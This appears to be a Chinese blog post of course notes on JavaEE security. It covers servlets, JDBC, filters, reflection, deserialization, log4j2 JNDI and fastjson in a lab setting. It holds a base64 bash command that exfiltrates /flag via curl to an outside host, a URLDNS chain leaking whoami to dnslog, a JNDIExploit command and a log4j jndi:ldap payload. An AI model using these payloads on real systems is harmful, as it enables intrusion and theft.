4. 小迪安全v2023笔记 javaEE应用

4. 小迪安全v2023笔记 javaEE应用

​ 大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全。

若有冒犯,麻烦私信移除。

默认有java基础。

文章目录

  • 4. 小迪安全v2023笔记 javaEE应用
    • 0. 一些概念
    • 1. javaEE环境配置
    • 2. Servlet路由,get与post
    • 3. JDBC mybatis hibernate
      • 1. JDBC配置与使用
      • 2. Filter过滤器
      • 3. Listener监听器
    • 4. java反射
      • 1. Java反射-Class对象类的获取
      • 2. 利用反射获取成员变量
      • 3. 不安全命令执行
    • 5. java反序列化初识
      • 1. 重写readObject方法
      • 2. URLDNS链
    • 6. DNSlog
    • 7. 一些第三方组件
      • 1. maven与log4j配置
      • 2. log4j2远程代码执行
      • 3. fastjson
    • 参考文章

0. 一些概念

Servlet是运行在Web服务器上的程序,它作为来自Web浏览器或其他http客户端的请求和http服务器上的数据库或应用程序之间的中间层。使用servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。

tomcat是免费开源的轻量级服务器。当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。

1. javaEE环境配置

下载安装配置好以下软件

jdk7 (jdk-17后面的复现不了)

mysql 8.0

navicat

tomcat 8.5

  • 记得去conf的server.xml里把8080端口改成9528
  • 去conf的logging.properties里修改java.util.logging.ConsoleHandler.encoding = GBK
  • 系统环境变量CATALINA_HOME设置为自己tomcat路径,系统环境变量Path里添加%CATALINA_HOME%\bin
  • 在cmd里输入startup.bat,然后访问127.0.0.1:9528

eclipse IDE for Enterprise Java and Web Developers

Eclipse开发JavaEE环境搭建 IT晓夏

在这里插入图片描述

web.xml 配置映射关系

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>javaee1</display-name><welcome-file-list><welcome-file>index.html</welcome-file><welcome-file>index.jsp</welcome-file><welcome-file>index.htm</welcome-file><welcome-file>default.html</welcome-file><welcome-file>default.jsp</welcome-file><welcome-file>default.htm</welcome-file></welcome-file-list><servlet><servlet-name>test1</servlet-name><servlet-class>com.example.demo1.test1</servlet-class></servlet><servlet-mapping><servlet-name>test1</servlet-name><url-pattern>/test</url-pattern></servlet-mapping>
</web-app>

src/main/java/com/example/demo1/test1.java

package com.example.demo1;
import javax.servlet.http.*;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;@WebServlet(name="test1",value="/test")
public class test1 extends  HttpServlet{@Overrideprotected void doGet(HttpServletRequest req,HttpServletResponse resp)throws ServletException,IOException{//super.doGet(req, resp);System.out.println("hello world");}
}

在这里插入图片描述

2. Servlet路由,get与post

生命周期

实例化->初始化->服务->消亡

src/main/java/com/example/demo1/test1.java

package com.example.demo1;  import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;  
import javax.servlet.http.HttpServlet;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.PrintWriter;  @WebServlet(name = "test1", urlPatterns = {"/test"})  
public class test1 extends HttpServlet {  @Overridepublic void init(ServletConfig config) throws ServletException {// TODO Auto-generated method stubsuper.init(config);System.out.println("init");}@Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// TODO Auto-generated method stubsuper.service(req, resp);System.out.println("Http servlet");}@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {// TODO Auto-generated method stubsuper.service(req, res);System.out.println("servlet service");}@Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) {  out.println("name: " + name); } else {  out.println("No name parameter found.");  } }@Override  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); System.out.print(name);resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) {  out.println("name: " + name); }}@Overridepublic void destroy() {// TODO Auto-generated method stubsuper.destroy();System.out.println("destroy");}
}

访问http://127.0.0.1:9528/javaee1/test

在这里插入图片描述

在这里插入图片描述

3. JDBC mybatis hibernate

​ JDBC是Java用于数据库访问的基础API,MyBatis是一个持久层框架,它封装了JDBC并提供灵活的SQL映射功能,使开发者能更方便地操作数据库;而Hibernate则是一个完整的ORM框架,它允许开发者以面向对象的方式操作数据库,自动生成和执行SQL语句,提高了开发效率。

1. JDBC配置与使用

1.访问https://mvnrepository.com,下载数据库驱动mysql-connector-java.jar

2.将jar拖进WEB-INF的lib目录下。

3.在Eclipse中,右键点击webapp,选择 Build Path -> Configure Build Path...

4.选择Libraries选项,点击add External jars,添加jar。

在这里插入图片描述

MysqlServlet.java 普通sql语句

package com.example.demo1;
import java.sql.*;
public class MysqlServlet {//8.0以下//static final String JDBC_DRIVER="com.mysql.jdbc.Driver";//static final String DB_URL="jdbc:mysql://localhost:3306/user";//mysql8.0以上static final String JDBC_DRIVER="com.mysql.cj.jdbc.Driver";static final String DB_URL="jdbc:mysql://localhost:3306/user?useSSL=false&serverTimezone=UTC";//用户名,密码static final String USER ="root";static final String PASS ="123456";public static void main(String[] args) {Connection conn=null;Statement stmt=null;ResultSet rs=null;try {// 加载并注册JDBC驱动类Class.forName(JDBC_DRIVER);// 建立数据库连接conn = DriverManager.getConnection(DB_URL, USER, PASS);// 操作数据库...stmt=conn.createStatement();String sql = "SELECT * FROM t_user";   rs = stmt.executeQuery(sql);  // 处理查询结果,一次一行 while (rs.next()) {  System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password"));  }// 关闭连接conn.close();} catch (ClassNotFoundException e) {System.out.println("MySQL JDBC 驱动未找到");e.printStackTrace();} catch (SQLException e) {System.out.println("数据库连接失败");e.printStackTrace();}}
}

在这里插入图片描述

预编译写法防sql注入

public static void main(String[] args) {Connection conn=null;PreparedStatement pstmt = null;ResultSet rs=null;try {// 加载并注册JDBC驱动类Class.forName(JDBC_DRIVER);// 建立数据库连接conn = DriverManager.getConnection(DB_URL, USER, PASS);// 查询语句String sql = "SELECT * FROM t_user where id>? and username!=?";   pstmt=conn.prepareStatement(sql);//参数一表示占位符位数(从1开始)pstmt.setInt(1, 1);pstmt.setString(2, "admin");rs = pstmt.executeQuery();  // 处理查询结果  while (rs.next()) {  System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password"));  }// 关闭连接conn.close();} catch (ClassNotFoundException e) {System.out.println("MySQL JDBC 驱动未找到");e.printStackTrace();} catch (SQLException e) {System.out.println("数据库连接失败");e.printStackTrace();}}

2. Filter过滤器

在这里插入图片描述

XssFilter.java

package com.example.demo1.filter;
import java.io.IOException;import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;@WebFilter("/test2")
public class XssFilter implements Filter{@Overridepublic void init(FilterConfig filterConfig) throws ServletException {//中间件启动后就自动运行System.out.println("xss过滤开启");}@Overridepublic void destroy() {//中间件关闭后就自动运行System.out.println("xss销毁过滤");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {System.out.println("xss正在过滤");HttpServletRequest request2=(HttpServletRequest) request;String name=request2.getParameter("name");if(name!=null && name.contains("<script>")) {System.out.print("存在xss攻击");}else {chain.doFilter(request,response);//放行}}}

test2.java

package com.example.demo1;
import java.io.IOException;
import java.io.PrintWriter;import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "test2", urlPatterns = {"/test2"})  
public class test2 extends test1 {  @Overridepublic void init(ServletConfig config) throws ServletException {//自动调用super.init(config);System.out.println("test2 init");}@Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) {  out.println("name: " + name); } else {  out.println("No name parameter found.");  } out.flush();out.close();}@Override public void destroy() {//当 Servlet 被 Web 服务器移除出服务或者关闭时,自动调用super.destroy();System.out.println("test2 destroy");}
}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>javaee1</display-name><welcome-file-list><welcome-file>index.html</welcome-file><welcome-file>index.jsp</welcome-file><welcome-file>index.htm</welcome-file><welcome-file>default.html</welcome-file><welcome-file>default.jsp</welcome-file><welcome-file>default.htm</welcome-file></welcome-file-list><servlet><servlet-name>test1</servlet-name><servlet-class>com.example.demo1.test1</servlet-class></servlet><servlet-mapping><servlet-name>test1</servlet-name><url-pattern>/test</url-pattern></servlet-mapping><servlet><servlet-name>test2</servlet-name><servlet-class>com.example.demo1.test2</servlet-class></servlet><servlet-mapping><servlet-name>test2</servlet-name><url-pattern>/test2</url-pattern></servlet-mapping><filter><filter-name>XssFilter</filter-name><filter-class>com.example.demo1.filter.XssFilter</filter-class></filter><filter-mapping><filter-name>XssFilter</filter-name><url-pattern>/test2</url-pattern></filter-mapping>
</web-app>

在这里插入图片描述

获取cookie

Cookie[] cookies=request2.getCookies();
for(Cookie c :cookies) {//遍历cookies数组String cname=c.getName();String cvalue=c.getValue();System.out.println(cname+cvalue);
}

3. Listener监听器

ListenSession.java

package com.example.demo1.Listener;import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
//listener不用加url路由
@WebListener
public class ListenSession implements HttpSessionListener{@Overridepublic void sessionCreated(HttpSessionEvent se) {System.out.println("监听器监听到了创建");}@Overridepublic void sessionDestroyed(HttpSessionEvent se) {System.out.println("监听器监听到了销毁");}}

DSession.java

package com.example.demo1;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "ds", urlPatterns = {"/ds"})  
public class DSession extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// TODO Auto-generated method stubSystem.out.println("session销毁");req.getSession().invalidate();}
}

CSession.java

package com.example.demo1;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "cs", urlPatterns = {"/cs"})  
public class CSession extends HttpServlet{@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {System.out.println("创建Session");req.getSession();//创建session}
}

web.xml添加

  <servlet><servlet-name>cs</servlet-name><servlet-class>com.example.demo1.CSession</servlet-class></servlet><servlet-mapping><servlet-name>cs</servlet-name><url-pattern>/cs</url-pattern></servlet-mapping>  <servlet><servlet-name>ds</servlet-name><servlet-class>com.example.demo1.DSession</servlet-class></servlet><servlet-mapping><servlet-name>ds</servlet-name><url-pattern>/ds</url-pattern></servlet-mapping> 

在这里插入图片描述

4. java反射

如果项目环境坏了,建议删掉项目,重建一个。

​ 反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行状态的时候才动态加载类,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。

1. Java反射-Class对象类的获取

//1.根据类名:类名.class
Class userClass =User.class;
//2.根据对象:对象.getClass()
User user=new User();
Class ac=user.getClass();
//3.根据全限定类名:Class.forname("全路径名")
Class ac=Class.forName("com.example.demo1.User");
//4.通过类加载器获取Class对象:
//ClassLoader.getSystemClassLoader().loadClass("com.example.demo1.User");
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class ac2=clsload.loadClass("com.example.demo1.User");

要注意的一点,需要把package复制到lib目录下,然后project->clean,build automatically,不然forname函数找不到路径。

在这里插入图片描述

User.java

package com.example.demo1;
public class User {public String name="lihua";public int age=15;public User() {// TODO Auto-generated constructor stub}public User(String n,int a) {// TODO Auto-generated constructor stubthis.name=n;this.age=a;}
}

GetClass.java

package com.example.demo1;
import java.lang.Class;
public class GetClass {public static void main(String[] args) {System.out.println(666);try{ClassLoader clsload=ClassLoader.getSystemClassLoader();Class ac2=clsload.loadClass("com.example.demo1.User");System.out.print(ac2);}catch(Exception e){System.out.print(e);}}
}

2. 利用反射获取成员变量

//Class类中用于获取成员变量的方法
Field[] getFields()://返回所有 公共 成员变量对象的数组
Field[] getDeclaredFields()://返回所有成员变量对象的数组
Field getField(String name)://返回单个公共成员变量对象
Field getDeclaredField(String name)://返回单个成员变量对象//Field 类中用于创建对象的方法
void set(Object obj,Object value):赋值
Object get(Object obj)获取值。//Class类中用于获取构造方法的方法
Constructor<?>[] getConstructors(): 返回所有公共构造方法对象的数组
Constructor<?>[] getDeclaredConstructors(): 返回所有构造方法对象的数组
Constructor<T>[] getConstructor(Class<?>... parameterTypes): 返回单个公共构造方法对象
Constructor<T>[] getDeclaredConstructor(Class<?>... parameterTypes)://返回单个构造方法对象//Constructor类中用于创建对象的方法
T newInstance(Object... initargs): 根据指定的构造方法创建对象
setAccessible(boolean flag): 设置为true,表示取消访问检查//Class类中用于获取成员方法的方法
Method[] getMethods():返回所有公共成员方法对象的数组,包括继承的
Method[] getDeclaredMethods():返回所有成员方法对象的数组,不包括继承的
Method getMethod(String name, Class<?>... parameterTypes) :返回单个公共成员方法对象
Method getDeclaredMethod(String name, Class<?>... parameterTypes):返回单个成员方法对象//Method类中用于创建对象的方法
Object invoke(Object obj, Object... args):
运行方法
参数一:用obj对象调用该方法
参数二:调用方法的传递的参数(如果没有就不写)
返回值:方法的返回值(如果没有就不写)

在这里插入图片描述

GetClass.java修改对应部分

			User u=new User();Class ac2=Class.forName("com.example.demo1.User");Field field=ac2.getField("age");Object a=field.get(u);System.out.println(a);//15field.set(u, 44);System.out.print(field.get(u));//44Constructor c1=ac2.getDeclaredConstructor(String.class);//获取构造方法System.out.println(c1);//public com.example.demo1.User(java.lang.String,int)//临时开启对私有的访问c1.setAccessible(true);User uu=(User)c1.newInstance("lisi");System.out.println(uu.name);//lisiUser u2=new User();Method m1=ac2.getDeclaredMethod("ptall",String.class,int.class);m1.invoke(u2,"zzz",66);//zzz 66

User.java 添加类方法

	private User(String n) {this.name=n;}public void ptall(String n,int a) {System.out.println(n+" "+a);}

3. 不安全命令执行

原型:

Runtime.*getRuntime*().exec("calc");

该函数不会解析Shell命令或Shell特性(如管道|、重定向>、反引号等)。

可以显示调用bash -c执行子查询

curl  http://`cat /flag`.i5yh54u0.requestrepo.cojava.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLmk1eWg1NHUwLnJlcXVlc3RyZXBvLmNvbS8=}|{base64,-d}|{bash,-i}')

反射:

Class ac1=Class.forName("java.lang.Runtime");
Method exec1=ac1.getMethod("exec", String.class);
Method getRuntime1=ac1.getMethod("getRuntime");
Object runtimeObject=getRuntime1.invoke(ac1);
exec1.invoke(runtimeObject, "calc.exe");

5. java反序列化初识

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转化成内存中的对象。

几种创建的序列化和反序列化协议

  • Java内置的writeObject()/readObject()
  • Java内置的XMLDecoder()/XMLEncoder()
  • Xstream
  • SnakeYaml
  • FastJson
  • Jackson

类实现序列化需满足的条件

  • 实现java.io.Serializeble接口
  • 该类所有属性必须可序列化
  • 如果有一个属性不可序列化,那么这个属性必须注明是短暂的

为什么出现反序列化安全问题

内置原生写法

  • 重写readObject方法
  • 输出调用toString方法

1. 重写readObject方法

User.java

package com.example.demo1;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class User implements Serializable{public String name="lihua";public int age=15;public User() {}public User(String n,int a) {this.name=n;this.age=a;}public String toString() {return "User{"+"name= "+name+" , age= "+age+" }";}public void ptall() {System.out.println(name+" "+age);}private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{//指向正确的defaultReadObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");}
}

serializedemo1.java

package com.example.demo1;
import java.io.*;
public class serializedemo1 {public static void main(String[] args)throws IOException {User u =new User("serialize2",63);// 调用方法将User对象序列化并保存到文件 SerializableTest(u);}public static void SerializableTest(Object obj) throws IOException {//将对象obj进行序列化后输出到1.txtObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));oos.writeObject(obj);	}
}

Unserializedemo1.java

package com.example.demo1;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class unserializedemo1 {public static void main(String[] args)throws IOException,ClassNotFoundException {//调用下面方法将1.txt反序列化成类对象System.out.println(UnserializableTest("1.txt"));}public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {//读取File文件内容进行反序列化ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));Object o=objectInputStream.readObject();return o;}
}

在这里插入图片描述

代码执行,成功弹出计算器。

2. URLDNS链

HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()

hashCode执行结果触发dns请求,如果是执行命令的话就是RCE漏洞。

urldns.java

package com.example.demo1;
import java.util.HashMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.URL;
public class urldns implements Serializable{public static void main(String[] args)  throws IOException,ClassNotFoundException{HashMap<URL, Integer> hash=new HashMap<>();URL url =new URL("http://whoami.v0taa6.dnslog.cn");//写dnslog.cn给的网址,并把whoami以子域名的形式外带hash.put(url, 1);SerializableTest(hash);UnserializableTest("dns.txt");}public static void SerializableTest(Object obj) throws IOException {//将对象obj进行序列化后输出到dns.txtObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("dns.txt"));oos.writeObject(obj);	}public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {//读取File文件内容进行反序列化ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));Object o=objectInputStream.readObject();return o;}
}

攻击脚本ysoserial.jar

6. DNSlog

dnslog.cn

​ DNSLog的原理是利用DNS协议的特性,将需要收集的信息编码成DNS查询请求,然后将请求发送到DNS服务器,最后通过DNS服务器的响应来获取信息。

DNS解析流程

在这里插入图片描述

比如SQL注入时,网站响应无回显,可以以dnslog子域名的方式外带SQL结果。

在这里插入图片描述

7. 一些第三方组件

Maven能够自动下载项目所需的所有依赖项,并且管理这些依赖的版本,确保项目的构建一致性。

log4j是一个流行的Java日志框架,用于记录应用程序的运行时信息。

1. maven与log4j配置

Maven工程的安装配置及搭建 ChatYU

下载安装apache-maven-3.8.8

添加环境变量MAVEN_HOME,值为apache-maven-3.8.8的路径。

环境变量path添加%MAVEN_HOME%\bin

在apache-maven-3.8.8-bin目录下新建mvn_repository目录。

在apache-maven-3.8.8\conf\settings.xml里修改对应的值,如下。

<localRepository>你的路径/apache-maven-3.8.8-bin/mvn_repository</localRepository>

再修改生效的mirrors标签同下(换源):

<mirrors><mirror><id>alimaven</id><name>aliyun maven</name><url>http://maven.aliyun.com/nexus/content/groups/public/</url><mirrorOf>central</mirrorOf>        </mirror><mirror>  <id>alimaven</id>  <mirrorOf>central</mirrorOf>  <name>aliyun maven</name>  <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>  </mirror> </mirrors>

eclipse点击windows->preferences->maven->installations->add。添加完后勾选mvn_repository。

在这里插入图片描述

在这里插入图片描述

新建maven project,要注意选internal和webapp。

在这里插入图片描述

进程卡在33%左右时,需要在console输入Y。

进入mvnrepository.com,搜索apache log4j core(2.14.1版本)和java servlet api (3.1.0)。

将使用maven的依赖添加到maven的pom.xml中,然后run as maven test,下载依赖。

pom.xml参考如下

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"><modelVersion>4.0.0</modelVersion><groupId>mavenexample1.com</groupId><artifactId>maven1</artifactId><packaging>war</packaging><version>0.0.1-SNAPSHOT</version><name>maven1 Maven Webapp</name><url>http://maven.apache.org</url><dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>3.8.1</version><scope>test</scope></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency><!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api --><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>3.1.0</version><scope>provided</scope></dependency></dependencies><build><finalName>maven1</finalName></build>
</project>

java Resources/src/main/java下新建package com.example.demo2,在package里新建log4jTest.java

log4jTest.java

package com.example.demo2;import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;import java.io.IOException;
import java.io.PrintWriter;import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name="log4j",urlPatterns = {"/log4j"})
public class log4jTest  extends HttpServlet{private static final Logger logger=LogManager.getLogger(log4jTest.class);@Overridepublic void init(ServletConfig config) throws ServletException {// TODO Auto-generated method stubsuper.init(config);System.out.println("init");String codeString="${java:os}";logger.error("{}",codeString);}@Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) {  out.println("name: " + name); } else {  out.println("No name parameter found.");  } }
}

web.xml参考如下

<!DOCTYPE web-app PUBLIC"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN""http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app><display-name>maven1</display-name><servlet><servlet-name>log4j</servlet-name><servlet-class>com.example.demo2.log4jTest</servlet-class></servlet><servlet-mapping><servlet-name>log4j</servlet-name><url-pattern>/log4j</url-pattern></servlet-mapping></web-app>

然后把package复制到lib目录下,然后project->clean,build automatically。(让项目能找到你的代码路径)

在这里插入图片描述

然后把在中间servers->tomcat v8.5添加maven1,并运行。

在这里插入图片描述

查看运行结果

在这里插入图片描述

2. log4j2远程代码执行

​ Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象。JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例如 LDAP、DNS 和 NIS 提供的服务。JNDI 可用于访问 Java EE 应用程序中的数据库、队列和 EJB(Enterprise JavaBeans)等资源,也可用于通过 RMI(远程方法调用)或 CORBA(通用对象请求代理架构)访问远程对象)。

高版本jdk利用

https://www.cnblogs.com/EddieMurphy-blogs/p/18078943

https://www.cnblogs.com/uf9n1x/p/17343393.html

低版本jdk利用

自行下载JNDIExploit-SNAPSHOT.jar。https://www.cnblogs.com/Welk1n/p/11701401.html

攻击机 kali linux

java -jar ./JNDI*  -C "calc" -A 192.168.10.4

靶机,需要控制eclipse编译时的jdk版本

@WebServlet(name="log4j",urlPatterns = {"/log4j"})
public class log4jTest  extends HttpServlet{private static final Logger logger=LogManager.getLogger(log4jTest.class);@Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  //System.out.println("hello world");String code= req.getParameter("code"); PrintWriter out = resp.getWriter(); if (code != null) {  out.println("code exists" ); logger.error("{}",code);} else {  out.println("No code parameter found.");  } }
}

访问网页时传参?code=${jndi:ldap://192.168.10.4:1039/fgf4fp}

各位自行尝试。

3. fastjson

mvn repository 搜索fastjson1 compatible(1.2.24),然后maven代码放进pom.xml,maven test。

在这里插入图片描述

fastjsondemo1.java

package com.example.demo2;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;class fastjsondemo1{public static void main(String[] args) {//u Object 对象User u=new User();//使用fastjson的函数来把对象转为json数据String j1=JSONObject.toJSONString(u);System.out.println(j1);//{"age":15,"name":"lihua"}String j2=JSONObject.toJSONString(u,SerializerFeature.WriteClassName);System.out.println(j2);//{"@type":"com.example.demo2.User","age":15,"name":"lihua"}//json->对象String test="{\"@type\":\"com.example.demo2.User\",\"age\":15,\"name\":\"lihua\"}";JSONObject jsonObject1=JSON.parseObject(test);System.out.println(jsonObject1);//{"name":"lihua","age":15}//若修改@type的值String test1="{\"@type\":\"com.example.demo2.Run1\",\"age\":15,\"name\":\"lihua\"}";JSONObject jsonObject2=JSON.parseObject(test1);System.out.println(jsonObject2);//跳计算器}
}

Run1.java

package com.example.demo2;
import java.io.IOException;
public class Run1 {public Run1( )throws IOException {// TODO Auto-generated constructor stubRuntime.getRuntime().exec("calc");}}

参考文章

  1. JAVA安全基础(二)-- 反射机制 小阳

  2. JAVA反序列化初食 将遗憾写成歌

  3. DNSLog漏洞探测(一)之DNSLog介绍 怰月

  4. JNDI注入学习 FlynnAAAA

  5. JNDI&RMI&LDAP介绍+log4j分析 enhengzZ

  6. Java反序列化:CC1链 详解 Jay 17

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/44390.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux下安装cutecom串口助手;centos安装cutecom串口助手;rpm安装包安装cutecom串口助手

在支持apt-get的系统下安装 在终端命令行中输入&#xff1a; sudo apt-get install cutecom 安装好后输入 sudo cutecom 就可以了 关于如何使用&#xff0c;可以看这个https://www.cnblogs.com/xingboy/p/14388610.html 如果你的电脑不支持apt-get。 那我们就通过安装包…

‘wget‘ 不是内部或外部命令,也不是可运行的程序

在Windows环境下创建了虚拟环境并安装了wget包&#xff0c;但在使用该命令的时候仍然报错&#xff0c;‘wget’ 不是内部或外部命令,也不是可运行的程序 解决方案&#xff1a; 去官网下载对应位数的.exe文件&#xff0c;将其放在C:\Windows\System32目录下即可, 别下错版本&a…

宝塔面板部署Flask项目教程(最新版)

本教程适用于最新版的宝塔&#xff01;&#xff01;&#xff01; 本教程适用于最新版的宝塔&#xff01;&#xff01;&#xff01; 本教程适用于最新版的宝塔&#xff01;&#xff01;&#xff01; 1 准备 1.1 依赖文件 在你的项目根目录下生成一个依赖文件&#xff0c;执行…

美业收银系统怎么选?哪些功能实用?美业门店管理系统|拓客系统

选择美业会员系统时&#xff0c;你可以考虑以下几个方面的功能来确定哪些对你最实用&#xff1a; 1.会员管理&#xff1a; 系统应该能够轻松管理会员资料、积分、消费记录等信息&#xff0c;以便更好地了解客户需求并提供个性化服务。 2.促销与营销工具&#xff1a; 包括发…

3D云渲染工具对决:Maya与Blender的性能和功能深度比较

3D建模和动画制作已成为数字领域不可或缺的一环&#xff0c;无论是在影视特效的震撼场面&#xff0c;还是在游戏角色的生动表现&#xff0c;3D技术都扮演着至关重要的角色。而在这一领域&#xff0c;Maya和Blender这两款软件&#xff0c;以其强大的功能和广泛的应用&#xff0c…

【JavaEE】进程

目录 一.冯诺依曼体系结构 二.CPU的核心概念 核心数 频率&#xff08;Clock Speed 或时钟频率&#xff09; 如何选择合适的CPU 三.指令的执行 1.什么是指令 1.取指令 2.解析指令 3.执行指令 4.访问内存&#xff08;Memory&#xff09;: 5.写回结果&#xff08;Write…

视频解码故障案例两则

案例1 绿边 故障分析&#xff1a; 这个能明显看到视频上方出现绿色半透明边带。这说明Y数据正常。UV数据不正常。 它显然与视频帧的垂直分辨率设置有关。 UV数据和Y数据是连续放置的&#xff0c;如果上方出现彩色数据失调&#xff0c;说明这部分数据实际仍然是Y数据。也就是…

JAVASE进阶day08(Map双列集合)

HashMap 1.HashMap基本使用 package com.lu.day08.map;import java.util.HashMap; import java.util.Map; import java.util.Set;public class MapDome {public static void main(String[] args) {HashMap<String , String> map new HashMap<>();//添加后者修改-…

电脑32位和62位是什么意思

在现代计算机世界中&#xff0c;32位和64位是两个常见的术语&#xff0c;但许多用户可能不太清楚它们的确切含义以及它们之间的区别。本文将详细介绍32位和64位计算机的基本概念、如何查看您的计算机是32位还是64位&#xff0c;以及它们对用户的实际影响。 32位与64位的基本概…

【高中数学/指数函数】比较a=0.6^0.9 b=0.6^1.5 c=1.5^0.6的大小

